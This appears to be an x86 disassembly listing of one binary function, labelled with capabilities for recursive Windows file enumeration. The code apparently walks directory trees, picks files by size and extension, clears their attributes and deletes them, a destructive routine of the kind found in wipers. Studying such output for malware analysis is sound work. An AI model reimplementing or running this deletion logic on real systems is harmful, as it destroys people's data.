Function at 0x423cd0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4a3ba6
push eax
mov eax, dword [0x4d0960]
mov dword fs:[0], esp
sub esp, 0x274
cmp eax, 0xb
jbe 0x423d0f
mov eax, 1
mov ecx, dword [esp + 0x274]
mov dword fs:[0], ecx
add esp, 0x280
ret
push ebx
push esi
push edi
call fcn.0047ef80
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0xc], eax
push 0xa
lea ecx, [esp + 0x18]
mov dword [esp + 0x28c], 0
call fcn.0047e0d0
mov esi, dword [esp + 0x290]
push esi
lea eax, [esp + 0x10]
push str._s.
push eax
mov byte [esp + 0x294], 1
call fcn.00403140
mov edx, dword [esp + 0x18]
add esp, 0xc
lea ecx, [esp + 0x30]
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
mov ebx, eax
or edi, 0xffffffff
cmp ebx, edi
mov dword [esp + 0x10], ebx
je 0x423f48
lea eax, [esp + 0x30]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
je 0x423f0c
mov edi, dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_DeleteFileW]
nop
lea ecx, [esp + 0x60]
push 0x4ab7d8
push ecx
call fcn.0046b2b9
add esp, 8
test eax, eax
je 0x423ef4
lea edx, [esp + 0x60]
push 0x4ab7d4
push edx
call fcn.0046b2b9
add esp, 8
test eax, eax
je 0x423ef4
test byte [esp + 0x34], 0x10
je 0x423e06
lea eax, [esp + 0x60]
push eax
push esi
lea ecx, [esp + 0x18]
push 0x4a811c
push ecx
call fcn.00403140
add esp, 0x10
lea edx, [esp + 0x10]
push edx
lea ecx, [esp + 0x1c]
call fcn.0047e1b3
jmp 0x423ef4
cmp dword [esp + 0x54], 0x10f1
jb 0x423ef4
mov ecx, 3
lea esp, [esp]
mov ax, word [esp + ecx*2 + 0x60]
test ax, ax
je 0x423ef4
cmp ax, 0x2e
je 0x423e3f
inc ecx
cmp ecx, 0x19
jl 0x423e20
jmp 0x423ef4
movzx eax, word [esp + ecx*2 + 0x62]
add eax, 0xffffffbc
cmp eax, 0x27
ja case.0x423e53.69
movzx eax, byte [eax + 0x423fdc]
jmp dword [eax*4 + 0x423fd0]
add ecx, 0x3e8
jmp case.0x423e53.69
add ecx, 0xbb8
cmp ecx, 0x3e8
jl 0x423ef4
mov eax, ecx
cdq
mov ebx, 0x3e8
idiv ebx
movzx eax, word [esp + edx*2 + 0x64]
add eax, 0xffffffbf
cmp eax, 0x32
ja case.0x423e92.66
movzx edx, byte [eax + 0x424010]
jmp dword [edx*4 + 0x424004]
add ecx, 0x3e8
jmp case.0x423e92.66
add ecx, 0xbb8
mov eax, 0x10624dd3
imul ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
sub edx, 2
je 0x423ec2
sub edx, 4
jne 0x423ef0
lea ecx, [esp + 0x60]
push ecx
push esi
lea edx, [esp + 0x18]
push 0x4a811c
push edx
call fcn.00403140
mov eax, dword [esp + 0x20]
add esp, 0x10
push 0
push eax
call edi
mov ecx, dword [esp + 0x10]
push ecx
call ebp
inc dword [0x4d0960]
mov ebx, dword [esp + 0x14]
lea edx, [esp + 0x34]
push edx
push ebx
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
jne 0x423da0
or edi, 0xffffffff
pop ebp
push ebx
call dword [sym.imp.KERNEL32.DLL_FindClose]
push 1
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, dword [esp + 0x20]
test eax, eax
je 0x423f48
mov esi, dword [esp + 0x18]
test esi, esi
je 0x423f48
jmp 0x423f30
mov eax, esi
mov eax, dword [eax + 8]
mov esi, dword [esi]
push eax
call fcn.00423cd0
add esp, 4
test eax, eax
je 0x423f98
test esi, esi
jne 0x423f30
lea ecx, [esp + 0x14]
mov byte [esp + 0x288], 0
call fcn.0047e18c
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
mov dword [esp + 0x288], edi
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edi
dec edi
test edi, edi
jg 0x423f7b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, 1
mov ecx, dword [esp + 0x280]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x280
ret
lea ecx, [esp + 0x14]
mov byte [esp + 0x288], 0
call fcn.0047e18c
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
mov dword [esp + 0x288], edi
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edi
dec edi
test edi, edi
jg 0x423fcb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
xor eax, eax
jmp 0x423f80